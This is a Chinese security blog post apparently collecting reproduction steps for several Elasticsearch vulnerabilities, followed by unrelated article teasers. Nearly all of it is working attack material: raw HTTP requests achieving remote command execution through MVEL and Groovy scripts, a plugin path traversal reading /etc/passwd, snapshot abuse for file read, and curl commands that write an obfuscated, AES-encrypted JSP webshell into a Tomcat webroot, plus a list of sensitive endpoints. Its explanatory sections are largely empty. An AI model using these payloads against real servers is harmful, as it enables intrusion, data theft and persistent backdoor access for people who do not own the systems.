ElasticSearch漏洞复现集合
白帽子社区
共 6327字,需浏览 13分钟
· 2021-02-18
作者:巧克力威化饼 编辑:白帽子社区运营团队
"白帽子社区在线CTF靶场BMZCTF,欢迎各位在这里练习、学习,BMZCTF全身心为网络安全赛手提供优质学习环境,链接(http://www.bmzclub.cn/)
"
简介
Elasticsearch是面向文档型数据库,一条数据在这里就是一个文档,用JSON作为文档序列化的格式,比如下面这条用户数据
{
"name" : "John",
"sex" : "Male",
"age" : 25,
"birthDate": "1990/05/01",
"about" : "I love to go rock climbing",
"interests": [ "sports", "music" ]
}
环境搭建
import java.io.*;
new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next();
影响版本
复现
|
POST /_search?pretty HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 343
{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {
}
}
}
},
"script_fields": {
"command": {
"script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}
编码网址:http://www.jackson-t.ca/runtime-exec-payloads.html
原理
复现
POST /website/blog/ HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
{
"name": "ceshi"
}
POST /_search?pretty HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/text
Content-Length: 156
{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"cat /etc/passwd\").getText()"}}}
原理
影响版本
复现
POC:
GET /_plugin/head/../../../../../../../../../etc/passwd HTTP/1.1
Host: your-ip:9200
Accept:*/*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
Connection: close
原理
影响版本
复现
PUT /_snapshot/ceshi HTTP/1.1
Host: yourip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 109
{
"type": "fs",
"settings": {
"location": "/usr/share/elasticsearch/repo/ceshi"
}
}
PUT /_snapshot/ceshi2 HTTP/1.1
Host: yourIP:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 126
{
"type": "fs",
"settings": {
"location": "/usr/share/elasticsearch/repo/ceshi/snapshot-backdata"
}
}
原理
影响版本
复现
curl -XPOST http://ip:9200/yz.jsp/yz.jsp/1 -d'
{"<%new java.io.RandomAccessFile(application.getRealPath(new String(new byte[]{47,116,101,115,116,46,106,115,112})),new String(new byte[]{114,119})).write(request.getParameter(new String(new byte[]{102})).getBytes());%>":"test"}
'
curl -XPUT 'http://ip:9200/_snapshot/yz.jsp' -d '{
"type": "fs",
"settings": {
"location": "/usr/local/tomcat/webapps/wwwroot/",
"compress": false
}
}'
curl -XPUT "http://ip:9200/_snapshot/yz.jsp/yz.jsp" -d '{
"indices": "yz.jsp",
"ignore_unavailable": "true",
"include_global_state": false
}'
http://192.168.187.136:8080/wwwroot/indices/yz.jsp/snapshot-yz.jsp?f=%3c%25%40page+import%3d%22java.util.*%2cjavax.crypto.*%2cjavax.crypto.spec.*%22%25%3e%3c%25!class+U+extends+ClassLoader%7bU(ClassLoader+c)%7bsuper(c)%3b%7dpublic+Class+g(byte+%5b%5db)%7breturn+super.defineClass(b%2c0%2cb.length)%3b%7d%7d%25%3e%3c%25if(request.getParameter(%22pass%22)!%3dnull)%7bString+k%3d(%22%22%2bUUID.randomUUID()).replace(%22-%22%2c%22%22).substring(16)%3bsession.putValue(%22u%22%2ck)%3bout.print(k)%3breturn%3b%7dCipher+c%3dCipher.getInstance(%22AES%22)%3bc.init(2%2cnew+SecretKeySpec((session.getValue(%22u%22)%2b%22%22).getBytes()%2c%22AES%22))%3bnew+U(this.getClass().getClassLoader()).g(c.doFinal(new+sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext)%3b%25%3e
/_cat
/_cat/indices
/_plugin/head/ web管理界面
/_plugin/sql/
/_nodes 查看节点数据
/_river/_search 查看数据库敏感信息
/_search
/_search?preety
/_status
评论
iMeta | 最全可视化韦恩图和集合图工具EVenn使用手册
通讯点击蓝字 关注我们最全可视化集合工具EVenn使用手册iMeta主页:http://www.imeta.science研究论文● 原文链接DOI: https://doi.org/10.1002/imt2.184● 2024年4月11日,中国中医科学院陈同、黄璐琦和中国农科院
生信宝典
0
贾佳亚团队新模型对标ChatGPT+DALL-E 3王炸组合!读懂梗图刷爆榜单,代码复现数学函数
来源:新智元【导读】贾佳亚团队提出VLM模型Mini-Gemini,堪比GPT-4+DALL-E 3王炸组合,一上线就刷爆了多模态任务榜单!读得懂梗图,做得了学术,用代码就能复现数学函数图。刷爆多模态任务榜单,超强视觉语言模型Mini-Gemini来了!效果堪称是开源社区版的GPT-4+DALL-E
AI算法与图像处理
10
003 基于Python进行DevOps常见问题集合
关注开源优测不迷路大数据测试过程、策略及挑战测试框架原理,构建成功的基石在自动化测试工作之前,你应该知道的10条建议在自动化测试中,重要的不是工具通过前面两章的基础学习,我们大概了解了基于Python进行DevO...
开源优测
0
Elasticsearch 悬挂索引解析与管理指南
在 Elasticsearch 的实战中,悬挂索引是一个既常见又容易引起困扰的概念。 今天,我将分享一次处理集群状态为RED,原因为DANGLING_INDEX_IMPORTED 的实战经验,深入探讨悬挂索引的定义、产生原因、管理方法,以及如...
铭毅天下
0
Spark读写Elasticsearch
Apache Spark 与 Elasticsearch 集成提供了一个强大的组合,用于处理大数据搜索、分析和存储。通过使用Elasticsearch Hadoop项目(现在通常称为Elasticsearch for Apache Hadoop,简称ES-Hadoop),你可以轻松地在Sp...
Python之王
0
雷神众测漏洞周报2024.3.11-2024.3.17
摘要 以下内容,均摘自于互联网,由于传播,利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人负责,雷神众测以及文章作者不承担任何责任。雷神众测拥有该文章的修改和解释权。如欲转载或传...
雷神众测
0
用 Python 优雅地玩转 Elasticsearch:实用技巧与最佳实践
Elasticsearch,这个开源的分布式搜索与数据分析引擎,因其强大的全文搜索功能而广受欢迎。 尽管Elasticsearch的核心是用Java编写的,它提供了REST API,让各种编程语言的开发者都能轻松与之交互,Python当然也不例...
铭毅天下
0
雷神众测漏洞周报2024.3.04-2024.3.10
摘要 以下内容,均摘自于互联网,由于传播,利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人负责,雷神众测以及文章作者不承担任何责任。雷神众测拥有该文章的修改和解释权。如欲转载或传...
雷神众测
0